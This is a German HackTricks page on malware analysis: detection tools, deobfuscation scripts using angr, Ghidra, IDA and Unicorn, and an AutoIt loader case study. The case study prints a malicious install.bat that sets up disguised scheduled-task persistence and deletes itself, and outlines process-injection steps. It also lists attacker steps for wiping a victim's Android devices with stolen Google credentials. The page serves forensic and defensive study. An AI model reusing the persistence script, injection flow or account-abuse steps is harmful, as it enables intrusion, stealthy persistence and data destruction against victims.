Malware-Analyse

Reading time: 18 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Forensik-Spickzettel

https://www.jaiminton.com/cheatsheet/DFIR/#

Online-Dienste

Offline-Antivirus- und Erkennungs-Tools

Yara

Installation

bash
sudo apt-get install -y yara

Regeln vorbereiten

Verwende dieses Skript, um alle yara malware rules von github herunterzuladen und zusammenzuführen: https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9
Erstelle das rules Verzeichnis und führe das Skript aus. Dadurch wird eine Datei namens malware_rules.yar erstellt, die alle yara rules für malware enthält.

bash
wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
mkdir rules
python malware_yara_rules.py

Scannen

bash
yara -w malware_rules.yar image  #Scan 1 file
yara -w malware_rules.yar folder #Scan the whole folder

YaraGen: Auf malware prüfen und yara rules erstellen

Sie können das Tool YaraGen verwenden, um yara rules aus einer binary zu generieren. Schauen Sie sich diese Tutorials an: Part 1, Part 2, Part 3

bash
python3 yarGen.py --update
python3.exe yarGen.py --excludegood -m  ../../mals/

ClamAV

Installation

sudo apt-get install -y clamav

Scannen

bash
sudo freshclam      #Update rules
clamscan filepath   #Scan 1 file
clamscan folderpath #Scan the whole folder

Capa

Capa erkennt potenziell bösartige capabilities in ausführbaren Dateien: PE, ELF, .NET. Es findet zum Beispiel Att&ck tactics oder verdächtige capabilities wie:

  • check for OutputDebugString error
  • run as a service
  • create process

Hol es dir im Github repo.

IOCs

IOC bedeutet Indicator Of Compromise. Ein IOC ist eine Menge von conditions that identify, die bestimmte potenziell unerwünschte Software oder bestätigte malware identifizieren. Blue Teams nutzen diese Art von Definition, um nach dieser Art von bösartigen Dateien in ihren Systemen und Netzwerken zu suchen.
Diese Definitionen zu teilen ist sehr nützlich, denn wenn malware auf einem Computer identifiziert wird und ein IOC für diese malware erstellt wird, können andere Blue Teams es nutzen, um die malware schneller zu identifizieren.

Ein Tool, um IOCs zu erstellen oder zu bearbeiten, ist IOC Editor.
Du kannst Tools wie Redline verwenden, um definierte IOCs auf einem Gerät zu suchen.

Loki

Loki ist ein Scanner für Simple Indicators of Compromise.
Die Erkennung basiert auf vier Erkennungsmethoden:

1. File Name IOC
Regex match on full file path/name

2. Yara Rule Check
Yara signature matches on file data and process memory

3. Hash Check
Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files

4. C2 Back Connect Check
Compares process connection endpoints with C2 IOCs (new since version v.10)

Linux Malware Detect

Linux Malware Detect (LMD) ist ein malware-Scanner für Linux, veröffentlicht unter der GNU GPLv2-Lizenz, der auf die Bedrohungen in gemeinsam gehosteten Umgebungen ausgelegt ist. Er nutzt Bedrohungsdaten aus Network-Edge-Intrusion-Detection-Systemen, um malware zu extrahieren, die aktiv in Angriffen verwendet wird, und erzeugt Signaturen zur Erkennung. Zusätzlich werden Bedrohungsdaten auch aus Nutzereinsendungen über die LMD checkout-Funktion und aus malware-Community-Ressourcen gewonnen.

rkhunter

Tools wie rkhunter können verwendet werden, um das Dateisystem auf mögliche rootkits und malware zu prüfen.

bash
sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress]

FLOSS

FLOSS ist ein Tool, das versucht, obfuscated strings innerhalb von executables mit verschiedenen Techniken zu finden.

PEpper

PEpper prüft einige grundlegende Dinge im executable (binary data, entropy, URLs and IPs, some yara rules).

PEstudio

PEstudio ist ein Tool, mit dem man Informationen zu Windows executables wie imports, exports, headers erhält; es prüft außerdem virus total und findet potenzielle Att&ck techniques.

Detect It Easy(DiE)

DiE ist ein Tool, um zu erkennen, ob eine Datei encrypted ist und auch packers zu finden.

NeoPI

NeoPI ist ein Python-Skript, das eine Vielzahl von statistischen Methoden nutzt, um obfuscated und encrypted Inhalte in Text-/Script-Dateien zu erkennen. Der Zweck von NeoPI ist, bei der detection of hidden web shell code zu unterstützen.

php-malware-finder

PHP-malware-finder versucht bestmöglich, obfuscated/dodgy code zu erkennen sowie Dateien zu finden, die PHP-Funktionen verwenden, die oft in malwares/webshells eingesetzt werden.

Apple Binary Signatures

Beim Überprüfen eines malware sample solltest du immer die Signatur prüfen der binary, da der Entwickler, der sie signiert hat, möglicherweise bereits in Verbindung mit malware steht.

bash
#Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"

#Check if the app’s contents have been modified
codesign --verify --verbose /Applications/Safari.app

#Check if the signature is valid
spctl --assess --verbose /Applications/Safari.app

Erkennungstechniken

File Stacking

Wenn du weißt, dass ein Ordner, der die files eines Webservers enthält, zuletzt an einem bestimmten Datum aktualisiert wurde, prüfe das Datum, an dem alle files im Webserver erstellt und geändert wurden — und wenn ein Datum verdächtig ist, untersuche diese Datei.

Baselines

Wenn die Dateien eines Ordners nicht hätten verändert werden dürfen, kannst du den hash der original files des Ordners berechnen und mit den aktuellen vergleichen. Alles, was verändert wurde, ist verdächtig.

Statistical Analysis

Wenn die Informationen in Logs gespeichert werden, kannst du Statistiken prüfen, z. B. wie oft jede Datei eines Webservers aufgerufen wurde, da ein Web-Shell möglicherweise zu den am häufigsten aufgerufenen gehört.

Android in-app native telemetry (no root)

Auf Android kannst du native Code im Prozess der Ziel-App instrumentieren, indem du vor der Initialisierung anderer JNI-Libs eine kleine Logger-Library preloadest. Das gibt frühe Einblicke in natives Verhalten ohne systemweite Hooks oder Root. Ein verbreiteter Ansatz ist SoTap: lege libsotap.so für die passende ABI in das APK und injiziere früh einen System.loadLibrary("sotap")-Aufruf (z. B. statischer Initializer oder Application.onCreate), und sammle dann Logs von internen/externen Pfaden oder als Logcat-Fallback.

Siehe die Android native reversing-Seite für Setup-Details und Log-Pfade:

Reversing Native Libraries

Android/JNI native string deobfuscation with angr + Ghidra

Manche Android-Malware und RASP-geschützte Apps verstecken JNI-Methodennamen und Signaturen, indem sie diese zur Laufzeit dekodieren, bevor sie RegisterNatives aufrufen. Wenn Frida/ptrace-Instrumentation durch Anti-Debug beendet wird, kannst du den Klartext offline wiederherstellen, indem du den Decoder im Binary mit angr ausführst und die Ergebnisse anschließend als Kommentare in Ghidra einfügst.

Kernidee: Behandle den Decoder innerhalb der .so als aufrufbare Funktion, führe ihn auf den obfuskierten Byte-Blobs in .rodata aus und konkretisiere die Ausgabebytes bis zum ersten \x00 (C-string terminator). Verwende für angr und Ghidra dieselbe image base, um Adressabweichungen zu vermeiden.

Workflow-Übersicht

  • Triage in Ghidra: identifiziere den Decoder und seine Calling Convention/Argumente in JNI_OnLoad und der RegisterNatives-Initialisierung.
  • Führe angr (CPython3) aus, um den Decoder für jeden Zielstring zu realisieren und die Ergebnisse zu dumpen.
  • Annotiere in Ghidra: kommentiere automatisch decodierte Strings an jedem Aufrufort, um die JNI-Rekonstruktion zu beschleunigen.

Ghidra Triage (JNI_OnLoad pattern)

  • Wende JNI-Datentypen auf JNI_OnLoad an, damit Ghidra JNINativeMethod-Strukturen erkennt.
  • Typisches JNINativeMethod laut Oracle-Doku:
c
typedef struct {
char *name;      // e.g., "nativeFoo"
char *signature; // e.g., "()V", "()[B"
void *fnPtr;     // native implementation address
} JNINativeMethod;
  • Suche nach Aufrufen von RegisterNatives. Wenn die Library den name/signature mit einer lokalen Routine konstruiert (z. B. FUN_00100e10), die auf eine statische Byte-Tabelle verweist (z. B. DAT_00100bf4) und Parameter wie (encoded_ptr, out_buf, length) verwendet, ist das ein ideales Ziel für die Offline-Ausführung.

angr setup (execute the decoder offline)

  • Lade die .so mit derselben base wie in Ghidra (Beispiel: 0x00100000) und deaktiviere das Auto-Loading externer Libs, um den State klein zu halten.
angr setup and offline decoder execution
python
import angr, json

project = angr.Project(
'/path/to/libtarget.so',
load_options={'main_opts': {'base_addr': 0x00100000}},
auto_load_libs=False,
)

ENCODING_FUNC_ADDR = 0x00100e10  # decoder function discovered in Ghidra

def decode_string(enc_addr, length):
# fresh blank state per evaluation
st = project.factory.blank_state()
outbuf = st.heap.allocate(length)
call = project.factory.callable(ENCODING_FUNC_ADDR, base_state=st)
ret_ptr = call(enc_addr, outbuf, length)  # returns outbuf pointer
rs = call.result_state
raw = rs.solver.eval(rs.memory.load(ret_ptr, length), cast_to=bytes)
return raw.split(b'\x00', 1)[0].decode('utf-8', errors='ignore')

# Example: decode a JNI signature at 0x100933 of length 5 → should be ()[B
print(decode_string(0x00100933, 5))
  • Im großen Maßstab erstellen Sie eine statische Zuordnung von call sites zu den Decoder-Argumenten (encoded_ptr, size). Wrappers können Argumente verbergen, daher können Sie diese Zuordnung manuell aus Ghidra xrefs erstellen, wenn API recovery unzuverlässig ist.
Mehrere call sites batchweise mit angr decodieren
python
# call_site -> (encoded_addr, size)
call_site_args_map = {
0x00100f8c: (0x00100b81, 0x41),
0x00100fa8: (0x00100bca, 0x04),
0x00100fcc: (0x001007a0, 0x41),
0x00100fe8: (0x00100933, 0x05),
0x0010100c: (0x00100c62, 0x41),
0x00101028: (0x00100c15, 0x16),
0x00101050: (0x00100a49, 0x101),
0x00100cf4: (0x00100821, 0x11),
0x00101170: (0x00100940, 0x101),
0x001011cc: (0x0010084e, 0x13),
0x00101334: (0x001007e9, 0x0f),
0x00101478: (0x0010087d, 0x15),
0x001014f8: (0x00100800, 0x19),
0x001015e8: (0x001008e6, 0x27),
0x0010160c: (0x00100c33, 0x13),
}

decoded_map = { hex(cs): decode_string(enc, sz)
for cs, (enc, sz) in call_site_args_map.items() }

import json
print(json.dumps(decoded_map, indent=2))
with open('decoded_strings.json', 'w') as f:
json.dump(decoded_map, f, indent=2)

Aufrufstellen in Ghidra annotieren Option A: Nur-Jython-Kommentarschreiber (verwende ein vorab erzeugtes JSON)

  • Da angr CPython3 benötigt, trennen Sie Deobfuskation und Annotation. Führen Sie zuerst das angr-Skript oben aus, um decoded_strings.json zu erzeugen. Führen Sie dann dieses Jython GhidraScript aus, um PRE_COMMENTs an jeder Aufrufstelle zu schreiben (und den aufrufenden Funktionsnamen zur Kontextinformation beizufügen):
Ghidra Jython-Skript, um decodierte JNI-Strings zu annotieren
python
#@category Android/Deobfuscation
# Jython in Ghidra 10/11
import json
from ghidra.program.model.listing import CodeUnit

# Ask for the JSON produced by the angr script
f = askFile('Select decoded_strings.json', 'Load')
mapping = json.load(open(f.absolutePath, 'r'))  # keys as hex strings

fm = currentProgram.getFunctionManager()
rm = currentProgram.getReferenceManager()

# Replace with your decoder address to locate call-xrefs (optional)
ENCODING_FUNC_ADDR = 0x00100e10
enc_addr = toAddr(ENCODING_FUNC_ADDR)

callsite_to_fn = {}
for ref in rm.getReferencesTo(enc_addr):
if ref.getReferenceType().isCall():
from_addr = ref.getFromAddress()
fn = fm.getFunctionContaining(from_addr)
if fn:
callsite_to_fn[from_addr.getOffset()] = fn.getName()

# Write comments from JSON
for k_hex, s in mapping.items():
cs = int(k_hex, 16)
site = toAddr(cs)
caller = callsite_to_fn.get(cs, None)
text = s if caller is None else '%s @ %s' % (s, caller)
currentProgram.getListing().setComment(site, CodeUnit.PRE_COMMENT, text)
print('[+] Annotated %d call sites' % len(mapping))

Option B: Ein einzelnes CPython-Skript via pyhidra/ghidra_bridge

  • Alternativ kann man pyhidra oder ghidra_bridge verwenden, um Ghidra’s API aus demselben CPython-Prozess zu steuern, der angr ausführt. Dadurch kann man decode_string() aufrufen und sofort PRE_COMMENTs setzen, ohne eine Zwischen­datei. Die Logik spiegelt das Jython-Skript wider: eine callsite→function-Map via ReferenceManager aufbauen, mit angr decodieren und Kommentare setzen.

Warum das funktioniert und wann man es einsetzen sollte

  • Offline-Ausführung umgeht RASP/anti-debug: kein ptrace, keine Frida-Hooks nötig, um Strings wiederherzustellen.
  • Wenn Ghidra und angr base_addr ausgerichtet sind (z. B. 0x00100000), stimmen Funktion-/Daten-Adressen zwischen den Tools überein.
  • Wiederholbare Vorgehensweise für Decoder: die Transformation als reine Funktion behandeln, einen Ausgabe­puffer in einem frischen state allokieren, ihn mit (encoded_ptr, out_ptr, len) aufrufen, dann via state.solver.eval konkretisieren und C-Strings bis \x00 parsen.

Hinweise und Fallstricke

  • Die Ziel-ABI/Calling Convention beachten. angr.factory.callable wählt basierend auf arch eine aus; sehen die Argumente verschoben aus, cc explizit angeben.
  • Wenn der Decoder null-initialisierte Ausgabe­puffer erwartet, outbuf vor dem Call im state mit Nullen initialisieren.
  • Für position-independent Android .so immer base_addr angeben, damit Adressen in angr mit denen in Ghidra übereinstimmen.
  • currentProgram.getReferenceManager() verwenden, um call-xrefs zu enumerieren, selbst wenn die App den Decoder hinter dünnen Stubs versteckt.

For angr basics, see: angr basics

Deobfuskation dynamischer Kontrollflüsse (JMP/CALL RAX Dispatchers)

Moderne Malware-Familien missbrauchen stark die Control-Flow Graph (CFG)-Obfuskation: statt eines direkten jump/call berechnen sie das Ziel zur Laufzeit und führen ein jmp rax oder call rax aus. Ein kleiner dispatcher (typischerweise neun Instruktionen) setzt das finale Ziel abhängig von den CPU-Flags ZF/CF und bricht damit die statische CFG-Rekonstruktion komplett.

Die Technik – demonstriert durch den SLOW#TEMPEST loader – lässt sich mit einem dreischrittigen Workflow knacken, der nur auf IDAPython und dem Unicorn CPU emulator basiert.

1. Jede indirekte jump / call lokalisieren

python
import idautils, idc

for ea in idautils.FunctionItems(idc.here()):
mnem = idc.print_insn_mnem(ea)
if mnem in ("jmp", "call") and idc.print_operand(ea, 0) == "rax":
print(f"[+] Dispatcher found @ {ea:X}")

2. Dispatcher-Bytecode extrahieren

python
import idc

def get_dispatcher_start(jmp_ea, count=9):
s = jmp_ea
for _ in range(count):
s = idc.prev_head(s, 0)
return s

start = get_dispatcher_start(jmp_ea)
size  = jmp_ea + idc.get_item_size(jmp_ea) - start
code  = idc.get_bytes(start, size)
open(f"{start:X}.bin", "wb").write(code)

3. Emuliere es zweimal mit Unicorn

python
from unicorn import *
from unicorn.x86_const import *
import struct

def run(code, zf=0, cf=0):
BASE = 0x1000
mu = Uc(UC_ARCH_X86, UC_MODE_64)
mu.mem_map(BASE, 0x1000)
mu.mem_write(BASE, code)
mu.reg_write(UC_X86_REG_RFLAGS, (zf << 6) | cf)
mu.reg_write(UC_X86_REG_RAX, 0)
mu.emu_start(BASE, BASE+len(code))
return mu.reg_read(UC_X86_REG_RAX)

Führe run(code,0,0) und run(code,1,1) aus, um die false und true branch targets zu erhalten.

4. Direkten jump / call zurückpatchen

python
import struct, ida_bytes

def patch_direct(ea, target, is_call=False):
op   = 0xE8 if is_call else 0xE9           # CALL rel32 or JMP rel32
disp = target - (ea + 5) & 0xFFFFFFFF
ida_bytes.patch_bytes(ea, bytes([op]) + struct.pack('<I', disp))

Nach dem Patchen veranlasse IDA, die Funktion neu zu analysieren, damit das vollständige CFG- und Hex-Rays-Ergebnis wiederhergestellt wird:

python
import ida_auto, idaapi
idaapi.reanalyze_function(idc.get_func_attr(ea, idc.FUNCATTR_START))

5. Indirekte API-Aufrufe kennzeichnen

Sobald das tatsächliche Ziel jedes call rax bekannt ist, kannst du IDA mitteilen, was es ist, sodass Parameter-Typen & Variablennamen automatisch wiederhergestellt werden:

python
idc.set_callee_name(call_ea, resolved_addr, 0)  # IDA 8.3+

Praktische Vorteile

  • Stellt das echte CFG wieder her → decompilation geht von 10 Zeilen auf Tausende.
  • Ermöglicht string-cross-reference & xrefs, wodurch die Verhaltensrekonstruktion trivial wird.
  • Skripte sind wiederverwendbar: in jeden Loader einfügen, der durch denselben Trick geschützt ist.

AutoIt-basierte Loader: .a3x decryption, Task Scheduler masquerade und RAT injection

Dieses Intrusionsmuster verkettet eine signierte MSI, AutoIt loaders kompiliert zu .a3x, und einen Task Scheduler-Job, der sich als harmlose App tarnt.

MSI → benutzerdefinierte Aktionen → AutoIt-Orchestrator

Prozessbaum und von den MSI-benutzerdefinierten Aktionen ausgeführte Befehle:

  • MsiExec.exe → cmd.exe, um install.bat auszuführen
  • WScript.exe, um einen Köder-Fehlerdialog anzuzeigen
cmd
%SystemRoot%\system32\cmd.exe /c %APPDATA%\스트레스 클리어\install.bat
%SystemRoot%\System32\WScript.exe %APPDATA%\스트레스 클리어\error.vbs

install.bat (legt Loader ab, stellt Persistence ein, säubert sich selbst):

bat
@echo off
set dr=Music

copy "%~dp0AutoIt3.exe" %public%\%dr%\AutoIt3.exe
copy "%~dp0IoKlTr.au3" %public%\%dr%\IoKlTr.au3

cd /d %public%\%dr% & copy c:\windows\system32\schtasks.exe hwpviewer.exe ^
& hwpviewer /delete /tn "IoKlTr" /f ^
& hwpviewer /create /sc minute /mo 1 /tn "IoKlTr" /tr "%public%\%dr%\AutoIt3.exe %public%\%dr%\IoKlTr.au3"

del /f /q "%~dp0AutoIt3.exe"
del /f /q "%~dp0IoKlTr.au3"
del /f /q "%~f0"

error.vbs (Benutzerköder):

vb
MsgBox "현재 시스템 언어팩과 프로그램 언어팩이 호환되지 않아 실행할 수 없습니다." & vbCrLf & _
"설정에서 한국어(대한민국) 언어팩을 설치하거나 변경한 뒤 다시 실행해 주세요.", _
vbCritical, "언어팩 오류"

Wesentliche Artefakte und Maskierung:

  • Legt AutoIt3.exe und IoKlTr.au3 in C:\Users\Public\Music ab
  • Kopiert schtasks.exe nach hwpviewer.exe (gibt sich als Hangul Word Processor viewer aus)
  • Erstellt eine geplante Aufgabe "IoKlTr", die jede 1 Minute ausgeführt wird
  • Startup LNK sichtbar als Smart_Web.lnk; mutex: Global\AB732E15-D8DD-87A1-7464-CE6698819E701
  • Platziert Module unter %APPDATA%\Google\Browser\ in Unterordnern, die adb oder adv enthalten, und startet sie mit den Helfern autoit.vbs/install.bat

Tipps zur forensischen Triage:

  • schtasks-Auflistung: schtasks /query /fo LIST /v | findstr /i "IoKlTr hwpviewer"
  • Suche nach umbenannten Kopien von schtasks.exe, die neben der Task-XML liegen: dir /a "C:\Users\Public\Music\hwpviewer.exe"
  • Häufige Pfade: C:\Users\Public\Music\AutoIt3.exe, ...\IoKlTr.au3, Startup Smart_Web.lnk, %APPDATA%\Google\Browser\(adb|adv)*
  • Korrelation der Prozess-Erstellung: AutoIt3.exe startet legitime Windows-Binaries (z. B. cleanmgr.exe, hncfinder.exe)

AutoIt loaders and .a3x payload decryption → injection

  • AutoIt-Module werden mit #AutoIt3Wrapper_Outfile_type=a3x kompiliert und entschlüsseln eingebettete Payloads, bevor sie in harmlose Prozesse injected werden.
  • Beobachtete Familien: QuasarRAT (injected into hncfinder.exe) und RftRAT/RFTServer (injected into cleanmgr.exe), sowie RemcosRAT-Module (Remcos\RunBinary.a3x).
  • Entschlüsselungs-Muster: einen AES-Schlüssel via HMAC ableiten, den eingebetteten Blob entschlüsseln und dann das plaintext-Modul injecten.

Generisches Entschlüsselungsgerüst (exakte HMAC-Eingabe/Algorithmus sind familiespezifisch):

python
import hmac, hashlib
from Crypto.Cipher import AES

def derive_aes_key(secret: bytes, data: bytes) -> bytes:
# Example: HMAC-SHA256 → first 16/32 bytes as AES key
return hmac.new(secret, data, hashlib.sha256).digest()

def aes_decrypt_cbc(key: bytes, iv: bytes, ct: bytes) -> bytes:
return AES.new(key, AES.MODE_CBC, iv=iv).decrypt(ct)

Üblicher Injektionsablauf (CreateRemoteThread-style):

  • CreateProcess (suspended) des Zielprozesses (z. B. cleanmgr.exe)
  • VirtualAllocEx + WriteProcessMemory mit dem entschlüsselten Modul/Shellcode
  • CreateRemoteThread oder QueueUserAPC zur Ausführung des payload

Hunting ideas

  • AutoIt3.exe als Kindprozess von MsiExec.exe oder WScript.exe, der System-Dienstprogramme startet
  • Dateien mit .a3x-Erweiterungen oder AutoIt script runners unter öffentlich/benutzerschreibbaren Pfaden
  • Verdächtige scheduled tasks, die AutoIt3.exe ausführen oder binäre Dateien, die nicht von Microsoft signiert sind, mit minutengenauen Triggern

Missbrauch zur Account-Übernahme von Android Find My Device (Find Hub)

Während der Windows-Infektion nutzten Operatoren gestohlene Google-Zugangsdaten, um wiederholt die Android-Geräte des Opfers zu löschen und Benachrichtigungen zu unterdrücken, während sie über den auf dem Desktop eingeloggten Messenger des Opfers den Zugriff ausweiteten.

Operator steps (from a logged-in browser session):

  • Google Account → Security → Your devices; dann Find My Phone → Find Hub (https://www.google.com/android/find)
  • Gerät auswählen → Google-Passwort erneut eingeben → "Erase device" (factory reset) ausführen; Vorgang wiederholen, um die Wiederherstellung zu verzögern
  • Optional: Alarm-E-Mails im verknüpften Postfach (z. B. Naver) löschen, um Sicherheitsbenachrichtigungen zu verbergen

AdaptixC2: Configuration Extraction and TTPs

See the dedicated page:

Adaptixc2 Config Extraction And Ttps

References

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks